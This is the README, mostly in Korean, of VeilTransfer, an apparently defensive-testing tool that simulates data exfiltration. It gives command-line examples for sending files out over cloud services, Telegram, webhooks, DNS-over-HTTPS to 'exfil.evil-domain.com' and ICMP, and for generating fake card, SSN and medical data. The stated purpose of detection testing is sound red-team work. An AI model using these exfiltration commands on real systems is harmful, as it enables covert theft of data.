
VeilTransfer is a data exfiltration utility designed to test and enhance the detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture.
VeilTransfer는 탐지 역량을 테스트하고 향상시키기 위해 설계된 데이터 외부 유출 유틸리티입니다. 이 도구는 고급 위협 행위자가 사용하는 실제 데이터 외부 유출 기법을 시뮬레이션하여 조직이 보안 태세를 평가하고 개선할 수 있도록 합니다. MEGA, GitHub, SFTP, WebDAV 등과 같은 여러 외부 유출 방법을 활용함으로써 VeilTransfer는 방어 체계의 허점을 식별하고 보안 솔루션이 현대의 데이터 침해에 대응할 준비가 되도록 보장합니다.
| ID | 기법 |
|---|---|
| T1029 | 예약된 전송 |
| T1020 | 자동화된 외부 유출 |
| T1132.001 | 데이터 인코딩: 표준 인코딩 |
| T1560.002 | 수집된 데이터 아카이브: 라이브러리를 통한 아카이브 |
| T1567.001 | 웹 서비스를 통한 외부 유출: 코드 저장소로의 외부 유출 |
| T1567.002 | 웹 서비스를 통한 외부 유출: 클라우드 스토리지로의 외부 유출 |
| T1567.003 | 웹 서비스를 통한 외부 유출: 텍스트 저장소로의 외부 유출 |
| T1567.004 | 웹 서비스를 통한 외부 유출: 웹훅을 통한 외부 유출 |
| T1048.003 | 대체 프로토콜을 통한 외부 유출: 암호화되지 않은 비-C2 프로토콜을 통한 외부 유출 |
| T1048.002 | 대체 프로토콜을 통한 외부 유출: 비대칭 암호화 비-C2 프로토콜을 통한 외부 유출 |
VeilTransfer는 가짜 데이터 생성도 지원합니다. 여기에는 다음이 포함됩니다:
데이터를 번들링하고 압축하기 위한 zip 파일을 쉽게 생성할 수 있으며, 이를 외부 유출이나 다양한 시나리오 테스트에 사용할 수 있습니다. 크기에 따라 여러 파일로 분할하는 옵션을 지원합니다.
이 예시에서는 SFTP 프로토콜을 사용하여 원격 서버로 파일을 안전하게 전송하는 방법을 보여줍니다. 파일은 로컬 머신에 있으며 SSH 인증을 사용하여 지정된 원격 디렉터리로 전송됩니다.
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
이 예시에서는 로컬 디렉터리의 파일을 WebDAV 서버에 업로드합니다. 서버는 인증을 위해 사용자 이름과 비밀번호를 요구합니다. 서버 매개변수에는 URI 스킴(https:// 또는 http://)이 포함됩니다.
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
이 예시에서는 파일을 Mega Cloud 스토리지로 전송하는 방법을 보여줍니다. 파일은 지정된 로컬 디렉터리에서 업로드되며 인증은 사용자의 Mega Cloud 자격 증명으로 처리됩니다.
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username [email protected] -password megasecretpassword
이 예시에서는 파일을 FTP 서버에 업로드합니다. 파일은 원격 서버의 특정 디렉터리로 전송됩니다. 서버는 인증을 위해 사용자 이름과 비밀번호를 요구합니다.
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
이 예시에서는 파일의 내용을 Pastebin에 업로드하는 방법을 보여줍니다. 콘텐츠는 사용자가 제공한 API 키를 사용하여 Pastebin에 게시됩니다.
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
이 예시에서는 로컬 머신의 파일을 특정 GitHub 저장소로 푸시하는 방법을 보여줍니다. 파일은 사용자의 GitHub API 토큰을 사용하여 인증된 후 저장소에 추가됩니다.
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
이 예시에서는 특정 Telegram 채널로 파일을 보내는 방법을 보여줍니다. 파일은 Telegram 봇 API 토큰을 사용하여 전송되며 메시지는 지정된 채널 ID로 전달됩니다.
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
이 예시에서는 파일의 내용을 지정된 Webhook URL로 전송합니다.
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
DNS over HTTPS(DoH)를 활용한 안전한 데이터 외부 유출 메커니즘을 구축하려면 다음 DNS 레코드를 구성해야 합니다.
A 레코드: test를 IP 주소 <VeilTransfer_IP_Address>로 지정합니다.
test -> <VeilTransfer_IP_Address>
NS 레코드: evil-domain.com이 관리하는 하위 도메인(exfil)을 정의합니다.
exfil -> test.evil-domain.com
exfil.evil-domain.com 도메인은 DNS Exfil 도메인 역할을 합니다.
그런 다음 다음 명령으로 DoH 모드에서 VeilTransfer 서버를 시작합니다.
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
참고: 암호화 키(-key)는 16자 또는 32자여야 합니다.
DoH를 통해 파일을 업로드하려면 VeilTransfer 서버가 유효한 암호화 키와 함께 DoH 모드에서 활발하게 실행 중인지 확인하세요. 그런 다음 클라이언트 명령으로 전송을 시작합니다.
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
QUIC 모드에서 VeilTransfer 서버를 시작하려면 다음 명령을 사용하세요.
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
서버가 실행 중이면 다음을 사용하여 파일이나 디렉터리를 업로드할 수 있습니다.
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
ICMP 프로토콜을 통한 파일 전송을 활성화하려면 다음 명령을 실행하여 ICMP 모드에서 VeilTransfer 서버를 시작하세요.
veiltransfer_server_linux icmp -folder /path/folder
서버가 활성화되면 다음 명령을 실행하여 ICMP를 통해 파일이나 디렉터리를 전송합니다.
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
지정된 디렉터리에서 zip 아카이브를 생성합니다.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
지정된 크기에 따라 여러 부분으로 분할된 zip 아카이브를 생성합니다.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
이 예시에서는 가짜 신용카드 데이터 100개 항목을 생성하는 방법을 보여줍니다. 생성된 데이터에는 신용카드 번호, 만료일 및 관련 세부 정보가 포함됩니다.
veiltransfer_client generate-fake -ccn -count 100
이 예시에서는 인도네시아 신분증인 가짜 KTP 데이터 50개 항목을 생성하는 방법을 보여줍니다. 데이터에는 이름, 주소, KTP 번호와 같은 개인 정보가 포함됩니다.
veiltransfer_client generate-fake -ktp -count 50
생성된 데이터에는 미국 표준에 따라 형식화된 사회보장번호가 포함됩니다.
veiltransfer_client generate-fake -ssn -count 200
이 예시에서는 영어로 된 가짜 의료 기록 300개를 생성하는 방법을 보여줍니다.
veiltransfer_client generate-fake -medical-record -count 300 -language en
VeilTransfer에 대한 기여는 환영합니다! 새로운 기능, 외부 유출 방법 또는 개선에 대한 아이디어가 있다면 GitHub에서 풀 리퀘스트를 제출하거나 이슈를 열어 주세요.